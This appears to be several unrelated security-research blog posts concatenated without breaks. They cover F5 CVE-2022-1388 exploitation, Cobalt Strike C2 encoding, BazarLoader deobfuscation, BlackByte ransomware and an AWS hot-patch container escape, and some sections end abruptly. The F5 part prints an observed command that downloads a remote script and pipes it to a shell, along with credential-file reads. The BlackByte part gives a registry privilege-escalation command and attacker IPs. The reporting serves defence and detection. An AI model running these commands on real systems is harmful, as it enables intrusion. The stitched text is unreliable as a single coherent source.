On May 4, 2022, F5 released a security advisory for a remote code execution vulnerability in the iControlREST component of its BIG-IP product tracked in CVE-2022-1388. Threat actors can exploit this vulnerability to bypass authentication and run arbitrary code on unpatched systems. This is a critical vulnerability that needs immediate attention, as it was given a 9.8 CVSS score. Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun.
Palo Alto Networks released a Threat Prevention signature for the F5 BIG-IP Authentication Bypass Vulnerability (92570) and within just 10 hours, the signature triggered 2,552 times due to vulnerability scanning and active exploitation attempts.
Unit 42 recommends customers upgrade to the latest release of F5 BIG-IP products. Palo Alto Networks Next Generation Firewall Threat Prevention customers are protected with Signature 92570.
The F5 product vulnerable to CVE-2022-1388 is BIG-IP with the following versions:
16.1.0 - 16.1.2
15.1.0 - 15.1.5
14.1.0 - 14.1.4
13.1.0 - 13.1.4
12.1.0 - 12.1.6
11.6.1 - 11.6.5
The vulnerability exists within the iControl REST framework used by BIG-IP.
Mitigation Actions
We recommend that customers update their F5 BIG-IP deployments to one of the following versions that have patches to mitigate CVE-2022-1388:
17.0.0
16.1.2.2
15.1.5.1
14.1.4.6
13.1.5
Until you can install the patched versions of BIG-IP, see the Mitigation section on the F5 security advisory for information on how to mitigate this vulnerability via a workaround to limit the vulnerable component to trusted networks.
Observed in the Wild
In response to the F5 security advisory, Palo Alto Networks released the Threat Prevention signature F5 BIG-IP Authentication Bypass Vulnerability (92570) on May 9.
We observed this signature triggered 2,552 times between 4:47 and 14:00 UTC on May 10. We were able to analyze 2,151 packets that triggered the signature and observed both vulnerability scanning activity and active exploitation attempts.
Table 1 shows the commands that would be executed in the event of successful exploitation. These were found by analysis of the packet captures that triggered the F5 BIG-IP Authentication Bypass Vulnerability signature.
Count
Command
1954
id
125
cat /config/bigip.conf
24
cat /etc/profile
19
curl -o- -L hxxp://20.239.193[.]47/kele.sh| sh > /dev/null 2>&1 &
Table 1. Commands observed in CVE-2022-1388 exploitation attempts.
Conclusion
Palo Alto Networks customers receive protections against the exploitation of this vulnerability in the following ways:
Next-Generation Firewalls with a Threat Prevention security subscription (running Applications and Threat content update version 8567) can automatically block sessions related to this vulnerability using the F5 BIG-IP Authentication Bypass Vulnerability signature (Threat ID 92570).
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
Cobalt Strike is commercial threat emulation software that emulates a quiet, long-term embedded actor in a network. This actor, known as Beacon, communicates with an external team server to emulate command and control (C2) traffic. Due to its versatility, Cobalt Strike is commonly used as a legitimate tool by red teams – but is also widely used by threat actors for real-world attacks. Different elements of Cobalt Strike contribute to that versatility, including the encoding algorithm that obfuscates metadata sent to the C2 server.
In a previous blog, “Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect,” we learned that an attacker or red team can define metadata encoding indicators in Malleable C2 profiles for an HTTP transaction. When Cobalt Strike’s Beacon “phones home,” it sends metadata – information about the compromised system – to the Cobalt Strike TeamServer. The red team or attackers have to define how this metadata is encoded and sent with the HTTP request to finish the C2 traffic communication.
In this blog post, we will go through the encoding algorithm, describe definitions and differences of encoding types used in the Cobalt Strike framework, and cover some malicious attacks seen in the wild. In doing so, we demonstrate how the encoding and decoding algorithm works during the C2 traffic communication, and why this versatility makes Cobalt Strike an effective emulator for which it is difficult to design traditional firewall defenses.
There are five encoding schemes supported by Cobalt Strike. The RSA-encrypted metadata is being encoded to easily transfer the ciphered binary data in network protocol.
Figure 1. Encoding schemes in the Cobalt Strike profile.
Base64 Encoding and Decoding
Base64 Encoding and Decoding is a standard Request for Comments (RFC) algorithm implementation. The author has not made any changes to the Base64 Character set. Here is the list of characters used for encoding and decoding the data.
Let's understand the use of the Base64 algorithm in Malleable profiles by studying an example.
1. Profile Metadata
Havex.profile uses Base64 encoding to transform metadata information about compromised systems before sending it. Figure 2 shows the metadata is encoded using the Base64 encoding algorithm and the result is placed in the Cookie header.
Figure 2. Metadata encoding options in the Havex profile.
2. HTTP C2 traffic
Figure 3 shows the HTTP C2 traffic generated from the profiles. The highlighted part is the Base64-encoded metadata about the compromised machine.
Figure 3. HTTP C2 traffic using the Havex profile.
3. Base64 Decoding
Any tool can decode the encrypted metadata. We have used the Python Base64 library to complete the task. Figure 4 shows a sample script to decode the data and print it in hex format.
Here is the decoded data from the script. This is RSA-encrypted metadata about the compromised system: “751990bee317e74e4f2aa6f13078ef22dd884e065b738f8373f49dee401a069d5dfd1d3e39e94cc637e21364e1fd71ab3322fb9c7a987fc6aa27dfab981f077e7ddc2f20aba8e9d841250adc4edd4d15082445869278f2bbcf66e145aa74152a22b85c9b6c5f15d69f7d8b3708b33deea7198683d6468bd0424f537617f759b5”
Figure 4. Sample Python script to decode Base64 data.
Base64URL Encoding and Decoding
Base64URL is a modified version of the Base64 encoding algorithm. The modified version uses URL and filename-safe characters for encoding and decoding. Here is the character set:
Compared to the Standard Base64 character set, the modified version has replaced ‘+’ with ‘-’ and ‘/’ with ‘_’. The Pad character ‘=’ is skipped from the encoded data as it is normally percent-encoded in URI.
Let's understand the use of the Base64URL algorithm in Malleable profiles by studying an example.
1. Profile Metadata
Cnnvideo_getonly.profile uses Base64URL encoding to transform the metadata information. (Note that this profile is an example of mimicking legitimate CNN HTTP traffic and has no connection to the organization.) Figure 5 shows the metadata is encoded using the Base64URL encoding algorithm and appends the data to parameter g.
Figure 5. Metadata encoding in CNN video profile.
2. HTTP C2 traffic
Figure 6 shows the HTTP C2 traffic generated by the Beacon. The parameter value is the Base64URL-encoded metadata about the victim.
Figure 6. HTTP C2 traffic generated using CNN video profile.
3. Base64URL decoding
A user has a couple of options to decode the data.
A user can replace the ‘-’ with ‘+’ and ‘_’ with ‘/’ along with adding a pad character ‘=’. The replaced string becomes standard Base64-encoded data. Then any Base64 decoding tool can be used to get the encrypted metadata.
Use the scripting language to do the job. Figure 7 shows a sample Python script to decode the data. The urlsafe_b64decode instruction only replaces the characters and does not add padding. In the sample, we have added ‘=’ to make the output compatible with Base64 encoding. You can add more padding characters; Python only complains if it sees less padding.
The output of the script is RSA-encrypted metadata. “60495dff002eddaa0c409aaaae0fda592810993ae0ae319c87d62b65c54d92447daf2c1bc84930c5d90ed3a023227e254d3a2c28763be372bb7444ef5719d5948b99d33ede3775f51c216bba97bc5fd4777e819517e89a737284c784bdc30b1d6b3b7debe2448c1dc28b00e3ac611fd5a8fd070502f3f7f672786f6b5787af51”
Figure 7. Python script to decode the Base64URL.
NetBIOS Encoding and Decoding
NetBIOS encoding is used to encode NetBIOS service names. The Cobalt Strike tool uses the same algorithm to encode victim metadata when it is being transferred in C2 communication.
In the NetBIOS encoding algorithm, each byte is represented by two bytes of ASCII characters. Each 4-bit (nibble) of the input byte is treated as a separate byte by right adjusting/zero filling the binary number. This number is then added to the value of ASCII character ‘a’. The resulting byte is stored as a separate byte. Here is the character set used for encoding: [‘a’, ‘b’, ‘c’, ‘d’, ‘e’, ‘f’, ‘g’, ‘h’, ‘i’, ‘j’, ‘k’, ‘l’, ‘m’, ‘n’, ‘o’, ‘p’].
Figure 8 demonstrates the encoding process:
Figure 8. NetBIOS encoding process.
Let's understand the use of the NetBIOS algorithm in Malleable profiles by studying an example.
1. Profile Metadata
Ocsp.profile uses NetBIOS encoding to convert the victim’s metadata. Figure 9 shows the metadata is encoded using the NetBIOS encoding algorithm. The resulting data is appended to the URI.
Figure 9. Metadata encoding in the OCSP profile.
2. HTTP C2 traffic
Figure 10 shows the HTTP traffic generated by the Beacon using the OCSP profile.
Figure 10. HTTP C2 traffic generated using the OCSP profile.
3. NetBIOS decoding
Figure 11 shows a Python implementation to decode the NetBIOS-encoded metadata.
The output of the script is RSA-encrypted metadata about the victim: “5725245edcb589b305e33e02da1cda208ed083bed8a1ae0b3a87da0f9d6ebe31025ab67c58572acb9757288cc2e78bea414249fa8cb0783485a1b5a3c0863501fc1c89c6ac59b7129c51cacbfa197cc64eea31ec8ac204cbcdbefaecf19762f9efcc56280f3e9b183c37f98f371f5e1c08b645524646d7010af4408f4ebb8a2f”
Figure 11. Python script to decode the NetBIOS encoding.
NetBIOSU Encoding and Decoding
The NetBIOSU algorithm is a slightly modified version of the NetBIOS algorithm discussed above. The slight change is the character set used for encoding the algorithm. In this algorithm, the character set is the uppercase version of the set used in the normal NetBIOS algorithm. Here is the set : [‘A’, ‘B’, ‘C’, ‘D’, ‘E’, ‘F’, ‘G’, ‘H’, ‘I’, ‘J’, ‘K’, ‘L’, ‘M’, ‘N’, ‘O’, ‘P’].
NetBIOSU uses the same encoding process as in the NetBIOS algorithm. Please refer to Figure 8 for more information.
Let's understand the use of the NetBIOSU algorithm in Malleable profiles by studying an example.
1. Profile Metadata
Asprox.profile uses NetBIOSU encoding to convert the victim’s metadata. Figure 12 shows the metadata is encoded using the NetBIOSU encoding algorithm. The resulting data is appended to the URI.
Figure 12. Metadata encoding in the asprox profile.
2. HTTP C2 traffic
Figure 13 shows the HTTP traffic generated by the Beacon using the asprox profile, and the highlighted part is the metadata about the victim.
Figure 13. HTTP C2 traffic generated using the asprox profile.
3. NetBIOSU decoding
Figure 14 shows a Python implementation to decode the NetBIOSU-encoded metadata.
The output of the script is RSA-encrypted metadata about the victim. “722676e535f86ffc29ba1cafb9856d98d1f697a83b0afc5bb143e2cf2242152a351081fb837192da3e3b2d9021fab75ce32677b6299a24d15e28db883adb36c5fe448d5eb47014f6d2e72eff389f0176efced60380450c87e2015a8c5de6aa90dc8f105683ac5fd96dc33d4d63da62818facda595910cf9aee10f36fe54d4a6a”
Figure 14. Python script to decode the NetBIOSU encoding.
Mask Encoding and Decoding
The Mask encoding algorithm can be indicated and combined with other encoding algorithms in the Malleable C2 profile, which can be loaded by the TeamServer and used as C2 communication. The Beacon will generate the random four bytes as Mask xor key, then use the Mask key to xor the 128-byte metadata encrypted and send the Mask key and encoded data to the TeamServer for C2 communication, As an example, we walk through the randomized.profile to explain in more detail below.
1. Figure 15 is a partial profile with metadata encoded by Mask and Base64URL. The partial profile below defines the URI and metadata encoding algorithm as Mask and Base64URL, and the encoded metadata will be appended to the URI.
Figure 15. Metadata encoding options in randomized profile.
2. HTTP C2 Traffic
Figure 16 is the C2 traffic based on the Figure 15 profile, so we can reverse the encoding data with the following steps.
From the traffic captured, we know that the entire URI is: /zChN7QMDhftv10Li9Cu-fm_T_3qDQawT-Z1GzNg1FWfAfSILT-u_rKLvXP-RE0ac-pxJTlGFCUIm4Aw9rGHPCIJVl0zNdCbM_G2VkYXJ5GGGtVh8S0LWMM4YLGZD9okLcFBc402j5zESK71HaR_owJb-AVBfFvAo8q0I2J74rmfGyIROyg
Remove the prefix /zC. The remaining value is encoded by Base64URL: hN7QMDhftv10Li9Cu-fm_T_3qDQawT-Z1GzNg1FWfAfSILT-u_rKLvXP-RE0ac-pxJTlGFCUIm4Aw9rGHPCIJVl0zNdCbM_G2VkYXJ5GGGtVh8S0LWMM4YLGZD9okLcFBc402j5zESK71HaR_owJb-AVBfFvAo8q0I2J74rmfGyIROyg
Figure 16. C2 traffic based on randomized profile.
3. Data encoding and decoding
Base64URL encoding and decoding
The Base64URL-encoded data: hN7QMDhftv10Li9Cu-fm_T_3qDQawT-Z1GzNg1FWfAfSILT-u_rKLvXP-RE0ac-pxJTlGFCUIm4Aw9rGHPCIJVl0zNdCbM_G2VkYXJ5GGGtVh8S0LWMM4YLGZD9okLcFBc402j5zESK71HaR_owJb-AVBfFvAo8q0I2J74rmfGyIROyg
The Base64URL-decoded data: 84ded030385fb6fd742e2f42bbe7e6fd3ff7a8341ac13f99d46ccd8351567c07d220b4febbfaca2ef5cff9113469cfa9c494e5185094226e00c3dac61cf088255974ccd7426ccfc6d959185c9e46186b5587c4b42d630ce182c6643f6890b70505ce34da3e731122bbd47691fe8c096fe01505f16f028f2ad08d89ef8ae67c6c8844eca0Using the Python Base64 library, as shown by the code in Figure 17, to decode the Base64URL-encoded data, the decoded hex data length is 132 and the first four bytes, 84ded030, are the Mask xor key. The remaining 128 bytes are the metadata encoded by the Mask xor algorithm.Base64URL decoded Python code:
Figure 17. Base64URL-decoded Python3 code.
Mask encoding and decodingThe Mask key is 84ded030The Mask-encoded data is: 385fb6fd742e2f42bbe7e6fd3ff7a8341ac13f99d46ccd8351567c07d220b4febbfaca2ef5cff9113469cfa9c494e5185094226e00c3dac61cf088255974ccd7426ccfc6d959185c9e46186b5587c4b42d630ce182c6643f6890b70505ce34da3e731122bbd47691fe8c096fe01505f16f028f2ad08d89ef8ae67c6c8844eca0The Mask-decoded data is: bc8166cdf0f0ff723f3936cdbb2978049e1fefa950b21db3d588ac3756fe64ce3f241a1e71112921b0b71f99404a3528d44af25e841d0af6982e5815ddaa1ce7c6b21ff65d87c86c1a98c85bd1591484a9bddcd10618b40fec4e67358110e4eabaadc1123f0aa6a17a52d95f64cbd5c1ebdc5f1a545359df0e38ac5c0c9a3c90
Using the Python code in Figure 18 to decode the Mask-encoded data, the decoded hex data length is 128 bytes. The 128 bytes are the encrypted metadata with an RSA algorithm that will be detailed in a forthcoming piece.
Mask-decoded Python code:
Figure 18. Mask-decoded Python3 code.
Cases in the Wild
The following sections show two different cases of Cobalt Strike payloads found in the wild used by malware. One uses Base64 and the other uses Base64URL encoding. Palo Alto Networks identified them using static and dynamic analysis under the Unit42.CobaltStrike tag in the AutoFocus system.
Cobalt Strike is a potent post-exploitation adversary emulator. The five encoding algorithms detailed above are elaborate and are designed to evade security detections. A single security appliance is not equipped to prevent a Cobalt Strike attack. Only a combination of security solutions – firewalls, sandboxes, endpoints and software to integrate all these components – can help prevent this kind of attack.
Palo Alto Networks customers are protected from this kind of attack by the following:
Malware authors embed multiple anti-analysis techniques in their code to retard the analysis processes of human analysts and sandboxes. However, there are ways defenders can defeat these techniques in turn. This blog post describes two methods for faster analysis of malware that employs two distinctive anti-analysis techniques. The first technique is API function hashing, a known trick to obfuscate which functions are called. The second is opaque predicate, a technique used for control flow obfuscation.
The scripts that we are going to show here can be applied to BazarLoader, as well as other malware families that utilize similar anti-analysis techniques. As an illustration, we will show the IDAPython scripts we created during a recent analysis of BazarLoader with the reverse engineering tool IDA Pro to defeat these anti-analysis techniques. BazarLoader is a Windows backdoor that is used by various ransomware groups.
Palo Alto Networks customers are protected from malware families using similar anti-analysis techniques with Cortex XDR or the Next-Generation Firewall with the WildFire and Threat Prevention security subscriptions.
Reusing Malware Code to Defeat Obfuscated API Calls
Malware compiled as native files has to call Windows API functions to carry out malicious behaviors. The information on which functions are used is usually stored in the Import Address Table (IAT) in the file. Therefore, this table is often a good place to start the analysis process to get an idea of what the malware is trying to do.
To demonstrate, we focused on a BazarLoader sample we recently detected. After peeling away the packer layer of our BazarLoader sample, we saw that it doesn’t have an IAT (see Figure 1). Also, there is no IAT constructed during execution, a technique sometimes seen in other malware. BazarLoader obfuscates its function calls to make analysis more difficult and to evade detection techniques that rely on reading the IAT.
Figure 1. Missing IAT in BazarLoader as seen with CFF Explorer.
In fact, BazarLoader resolves every API function to be called individually at run time. After we figured out that the functions are resolved during execution, the following function caught our attention as it was referenced more than 300 times:
Figure 2. Function for resolving the obfuscated Windows API functions (marked in yellow).
While most pieces of malware rely on publicly known hashing algorithms to resolve the functions’ addresses, the one used by BazarLoader is unique. The API function resolution procedure (sub_18000B9B0, labelled as FN_API_Decoder) requires three parameters and returns the address of the requested function.
Now, we could reverse engineer the algorithm used in FN_API_Decoder and reimplement it in Python to get all functions resolved. However, this would take a lot of time and we would have to repeat the whole process for every piece of malware that uses a different hashing algorithm.
Instead, the approach we used is independent from the hashing algorithm as it makes use of the hashing function itself. For this, we used the Appcall feature with IDAPython in IDA Pro to call FN_API_Decoder and pass it the required parameters. The result from Appcall would be the resolved address of the Windows API function. The Appcall feature used while debugging the malware allows us to execute any function from the sample as if it were a built-in function.
Using the following code, we can run FN_API_Decoder to resolve Windows API function addresses while debugging the malware process.
Figure 3. Using Appcall with IDAPython.
Next, we gathered all the required parameters by looking up all the cross references to FN_API_Decoder. The following code will search and extract the required parameters for resolving the API function calls.
Figure 4. IDAPython code to search and extract the three parameters.
Finally, by using the returned value from Appcall we are able to rename all the dynamic calls to the APIs to their corresponding names and apply comments:
Figure 5. IDAPython code to locate dynamic calls.
Putting the above steps together, we deobfuscated the API function calls:
Figure 6. Before executing the above IDAPython scripts.Figure 7. Renamed API function call with added comment.
After all the API function calls are renamed, we can now easily locate other interesting functions in the malware. For example, sub_1800155E0 is the procedure in BazarLoader that carries out code injection.
Figure 8. Before renaming API calls.Figure 9. Obfuscated API calls labeled with APIs related to code injection.
With the help of our IDAPython scripts, we are now able to faster assess which functionality this BazarLoader sample contains.
Automating Opaque Predicate Removal
Opaque Predicate (OP) is used in BazarLoader to protect it from reverse engineering tools. OP is an expression that evaluates to either true or false at runtime. Malware authors make use of multiple OPs together with unexecuted code blocks to add complexities that static analysis tools have to deal with.
The following disassembled code shows one of the OPs in Bazarloader:
Figure 10. One example of OP in BazarLoader.
From the above control flow graph (CFG), the code flow won’t end up in infinite loops (Figure 10, red code blocks). Therefore, the above OP will be evaluated to avoid the infinite loop.
We can demonstrate the extent of the challenge OPs pose to malware analysts. The following CFG shows the unexecuted code blocks (Figure 11, red code blocks) in one of the smaller functions (sub_18000F640) in the sample.
Figure 11. sub_18000F640 function in BazarLoader with unexecuted code blocks colored in red.
We could manually patch away the code blocks that are not executed as we analyze each function in the sample, but this is not very practical and takes a lot of time. Instead, we will choose a smarter way by doing it automatically.
First, we have to locate all the OPs. The most common way to do this is to make use of the binary search mechanism in IDA Pro to find all the byte sequences of the OPs. This turns out not to be possible, as the OPs were likely generated by a compiler during the build process of the malware sample. There are just too many variants of the OPs that could be covered using the byte sequence.
Not only do we need to locate the OPs, we also have to know the exact point when the malware sample decides to avoid the unexecuted code blocks.
Using the following code, we locate the OPs in a function:
Figure 12. IDAPython code to locate the OPs in a function.
Next, we have to patch the instructions in OPs to force the code flow away from the unexecuted code blocks.
Using the following code, we patch the OPs in a function:
Figure 13. IDAPython code to patch the OPs.
The OPs also messed with the output of the HexRays decompiler. This is how the function (sub_18000F640) looks before the OPs are patched:
Figure 14. Decompiled sub_18000F640 function.
After applying the two techniques above, we have decompiled pseudocode that is much easier to read and understand.
After patching all the OPs and renaming the obfuscated API calls, we could then tell that the function (sub_18000F640) is just a wrapper function for GetModuleFileNameW().
Figure 15. Decompiled sub_18000F640 function after removing the OPs.
Malware Analysts vs Malware Authors
Malware authors often include anti-analysis techniques with the hope that they will increase the time and resources taken for malware analysts. With the above script snippets showing how to defeat these techniques for BazarLoader, you can reduce the time needed to analyze malware samples of other families that use similar techniques.
Palo Alto Networks customers are further protected from malware families using similar anti-analysis techniques with Cortex XDR or the Next-Generation Firewall with the WildFire and Threat Prevention cloud-delivered security subscriptions.
BlackByte is ransomware as a service (RaaS) that first emerged in July 2021. Operators have exploited ProxyShell vulnerabilities to gain a foothold in the victim's environment. BlackByte has similarities to other ransomware variants such as Lockbit 2.0 that avoid systems that use Russian and a number of Eastern European languages, including many written with Cyrillic alphabets.
The operators behind this ransomware have been very active since it first emerged. Since November 2021, they have targeted multiple U.S. and global organizations, including a number in energy, agriculture, financial services and the public sector. They also displayed pervasiveness with a notable increase (300%) in the number of attacks associated with the RaaS in October-December 2021, compared with July-September 2021.
Recently, a joint advisory from the U.S. Federal Bureau of Investigation and the U.S. Secret Service noted that the ransomware group had targeted critical infrastructure.
Palo Alto Networks detects and prevents BlackByte ransomware with the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security subscriptions such as WildFire).
BlackByte is a RaaS that leverages double extortion as part of attacks. The threat actors behind the ransomware deploy a name-and-shame approach to victim shaming, as they operate a Tor .onion auction site where they sell stolen victim data. The operators even go so far as to link the auction site in the ransom note to scare victims.
Unit 42 has observed multiple variants of BlackByte in the wild – this includes variants written in Go and .NET, as well as one variant that appeared to have been written with a mix of both Go and C programming languages. Across the observed samples, these variants use multiple obfuscation and anti-debugging features. The ransomware payloads are UPX Packed and have worm capabilities, which allow them to increase the scope of an attack with little effort.
An earlier variant of BlackByte encrypts files in AES Symmetric encryption, a simple encryption routine where the same key is used to encrypt files. This variant downloads a .png file from the IP addresses 185[.]93.6.31 and 45[.]9.148.114 prior to encryption. Security researchers from SpiderLabs developed a decryptor for BlackByte, which was later published on GitHub.
The ransomware group was made aware of the public decryptor, and this led them to create a newer version of BlackByte that uses multiple keys for each session. The encryption happens without communication with any external IPs.
Figure 1. BlackByte warning message from the operators’ website.In addition to developing the latest ransomware variant, BlackByte operators also tried to discourage victims from using the public decryptor. They added a warning message on their site, and also included a warning against using the free decryptor in their ransom notes.
Figure 2. BlackByte sample ransom note, including a warning against using the public decryptor.The observed BlackByte samples had an icon attached to them resembling the grim reaper (see Figure 3, left). Some of the newer versions updated their executable icons to include the same grim reaper with the addition of BB to their icon, which stands for BlackByte (see Figure 3, right).
Figure 3. De-hashed images of the ransomware executable icon.
BlackByte also uses product descriptions that present its files as well-known products, likely in an attempt to mask its files as legitimate.
Figure 4. BlackByte using two different product descriptions.
Ransomware Highlights
Analysis of BlackByte variants identified the reuse of multiple tactics, techniques and procedures (TTPs).
Initial Access:
Use of a known Microsoft Exchange Server vulnerability (ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) to gain access to the victim's networks. In one case, we observed threat actor attempts coming from the following IP addresses: 185[.]219.52[.]229 (RU), 198[.]144.189[.]74 (US), 45[.]137.190.193 (RU), 185[.]70.184.42 (NL) and 198[.]54.131.44 (US), with the 185[.]70.184.42 IP being the most persistent.
Persistence:
Delivering a malicious web shell allowing remote code execution capability.
In an effort to maintain persistence, the BlackByte ransomware excludes key system and application folders – as well as key components – from encryption so as not to render the system and ransomware inoperative. The folders excluded are as follows:
Files ignored by the ransomware:
BlackByte, ntdetect[.]com, bootnxt, NTLDR, recycle.bin, bootmgr, thumbs.db, ntuser.dat.log, bootsect.bak, autoexec.bat, iconcache.db, bootfont.bin, Bitdefender, Trend Micro, Avast Software, Intel, common files, ProgramData, WindowsApps, AppData, Mozilla, application data, Google, Windows.old, system volume information, program files (x86), boot, Tor browser, Windows, PerfLogs and MSOCache.
Any file with an extension matching the following list will also be avoided:
Cobalt Strike is dropped onto the compromised Exchange Server and injected into another process such as wuauclt.exe
BlackByte implements multiple obfuscation and anti-debugging features during execution, such as requiring a SHA256 hash passed via the command line, which is a unique identifier for the victim.
Deleting taskmg, resmon and stopping WinDefend using PowerShell obfuscated command.
Credential Access:
Use of Cobalt Strike for additional functions, including dumping credentials.
Privilege Escalation:
BlackByte has been observed modifying the registry in an effort to escalate privileges
Enable OS to share network connections between different privilege levels:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
Discovery:
The ransomware checks if the system includes Russian or a number of Eastern European languages, including many written with Cyrillic alphabets, before execution/encryption, and if found, it will exit.
Impact:
It should be noted that while the ransomware itself does not have an exfiltration capability, the threat actor was observed using WinRAR to compress local data in preparation to exfiltrate.
In older versions, BlackByte included a hardcoded RSA public key, believed to be used as part of the encryption algorithm. That could have been used as a backup key if the command and control servers (C2s) were down, or it could be that the threat actors moved away from hosting keys that could be easily retrieved. However, in newer versions, the encryption happened without communicating with any external IP addresses.
Targeting
The ransomware group and its affiliate program reportedly compromised multiple U.S. and global organizations, including some in the energy, agriculture, financial services and public sectors. They have also displayed pervasiveness with a noted increase in the number of attacks associated with the RaaS in October-December 2021, compared to July-September 2021.
The threat actor operates a cybercrime marketplace and victim name-and-shame blog dubbed BlackByte Auction. This site is hosted on a Tor network, and it is where the BlackByte ransomware group lists encrypted victim networks.
Figure 5. BlackByte Auction site.
Most Notable Recent Attacks
On Feb. 13, 2022, BlackByte operators announced they had compromised the San Francisco 49ers, a U.S. National Football League (NFL) team, and had stolen its financial data.
Given that this attack on the San Francisco 49ers was specifically timed to occur around the 2022 Super Bowl, it is likely that BlackByte operators seek to leverage timing to garner attention and increase profits from an attack.
Figure 6. BlackByte .onion blog screenshot.
BlackByte has also reduced its time to pay the ransom from 30 days to 17 days, and then down to 12 days. They have also changed their leak site address multiple times.
According to recent leak site data as well as Unit 42 incident response data, the following industries have been impacted by BlackByte since at least August 2021.
Figure 7. BlackByte targets by industry.
These victims have been observed primarily within the U.S.; however, BlackByte has a global presence and has been observed targeting organizations in the U.S. and Canada, South America, Australia, Europe, Africa and Asia.
Courses of Action
Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks products and services to ensure mitigation of threats related to BlackByte ransomware, as well as other malware using similar techniques:
Product / Service
Course of Action
Initial Access
The below courses of action mitigate the following techniques:
Ensure a secure Vulnerability Protection Profile is applied to all security rules allowing traffic
Ensure a Vulnerability Protection Profile is set to block attacks against critical and high vulnerabilities, and set to default on medium, low, and informational vulnerabilities
WILDFIRE†
Ensure forwarding is enabled for all applications and file types in WildFire file blocking profiles
Ensure that WildFire file size upload limits are maximized
Ensure a WildFire Analysis profile is enabled for all security policies
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
Deploy XSOAR Playbook - Ransomware Manual for incident response.
†These capabilities are part of the NGFW cloud-delivered security subscriptions service
Conclusion
BlackByte ransomware operators have been active since at least July 2021. Due to the high-profile nature and steady stream of BlackByte attacks identified globally in early 2022, the operators and/or affiliates behind the service likely will continue to attack and extort organizations.
Palo Alto Networks detects and prevents BlackByte ransomware in the following ways:
WildFire: All known samples are identified as malware.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
Indicators of compromise and BlackByte-associated TTPs can be found in the BlackByte ATOM here.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
Following Log4Shell, AWS released several hot patch solutions that monitor for vulnerable Java applications and Java containers and patch them on the fly. Each solution suits a different environment, covering standalone servers, Kubernetes clusters, Elastic Container Service (ECS) clusters and Fargate. The hot patches aren't exclusive to AWS environments and can be installed onto any cloud or on-premises environment.
Unit 42 researchers identified severe security issues within these patching solutions and partnered with AWS to remediate them. After installing the patch service to a server or cluster, every container in that environment can exploit it to take over its underlying host. For example, if you installed the hot patch to a Kubernetes cluster, every container in your cluster can now escape until you either disable the hot patch or upgrade to the fixed version. Aside from containers, unprivileged processes can also exploit the patch to escalate privileges and gain root code execution.
Containers can escape regardless of whether they run Java applications, or whether their underlying host runs Bottlerocket, AWS's hardened Linux distribution for containers. Containers running with user namespaces or as a non-root user are affected as well. Unit 42 assigned CVE-2021-3100, CVE-2021-3101, CVE-2022-0070 and CVE-2022-0071 to track the vulnerabilities.
AWS released a fixed version for each hot patch solution on April 19:
Version 1.1-16 of the log4j-cve-2021-44228-hotpatchpackage, which bundles the hot patch service.
Version 1.1-16 of the kubernetes-log4j-cve-2021-44228-node-agentDaemonset, which installs the updated package.
Version 1.02 of Hotdog, a hot patch solution for Bottlerocket hosts based on Open Container Initiative (OCI) hooks.
Unit 42 advises anyone who installed any of these hot patches to upgrade to a fixed version. Note that starting from Dec. 17, 2021, JDK packages (Java installations) on Amazon Linux automatically installed the log4j-cve-2021-44228-hotpatch package. Alternatively, users who are confident their applications are patched against Log4Shell can disable the hot patch service following the instructions in the Mitigations section below.
Prisma Cloud detects the hot patch package and will alert on hosts running a vulnerable version.
Log4Shell proved itself as one of the worst vulnerabilities of recent times. To help users combat the issue at scale, AWS open-sourced several hot patch solutions, each covering a different environment. Hot patching is the process of injecting a fix to a vulnerable running application. It's meant to serve as a short-term solution until a new, fixed version of the application can be deployed.
AWS released three hot patching solutions that detect processes and containers running vulnerable Java applications and patch them on the fly:
A hot patch service bundled in an RPM package. Starting from Dec. 17, 2021, this service is automatically installed with Amazon Linux JDK (Java) packages. Fargate customers could've asked for this service to be installed on the hosts running their containers.
A hot patch Daemonset for Kubernetes clusters, which installs the aforementioned hot patch service on all nodes.
Hotdog, a hot patch solution bundled as a set of OCI hooks. Hotdog is primarily intended for Bottlerocket hosts.
These solutions cover most compute environments, from Kubernetes clusters to ECS clusters, Fargate containers and standalone servers. They aren't exclusive to AWS environments, and can be installed onto other cloud environments or on-premises.
Unit 42 researchers discovered these patches can be exploited for container escape and privilege escalation. After any one of the patches is installed to a host or cluster, new containers can exploit the patch to escape and compromise their underlying host. On hosts that installed either the hot patch service or the hot patch Daemonset, existing containers can escape as well. Aside from containers, unprivileged processes can also exploit the patch service to escalate privileges and gain root code execution. AWS has now mitigated these vulnerabilities and released a fix for each solution.
Root Cause Analysis
AWS's hot patch solutions continuously search for Java processes and patch them against Log4Shell on the fly. Any process running a binary named “java“ – inside or outside of a container – is considered a candidate for the hot patch.
To patch Java processes inside containers, the hot patch solutions invoke certain container binaries. For example, they run the container's "java" binary twice: once to retrieve the Java version, and again to inject the hot patch. The issue was that they invoked container binaries without properly containerizing them. That is, the new processes would run without the limitations normally applied to container processes.
A malicious container therefore could have included a malicious binary named “java” to trick the installed hot patch solution into invoking it with elevated privileges. The malicious “java” process could then abuse its elevated privileges to escape the container and take over the underlying host. The fixed hot patch solutions now properly containerize container binaires before running them.
Aside from containers, the hot patch service also patched host processes in a similar manner. A malicious unprivileged process could have created and run a malicious binary named "java" to trick the hot patch service into executing it with elevated privileges. The fixed hot patch service now spawns “java” binaries with the same privileges as the Java process being patched.
Container Escape Demo
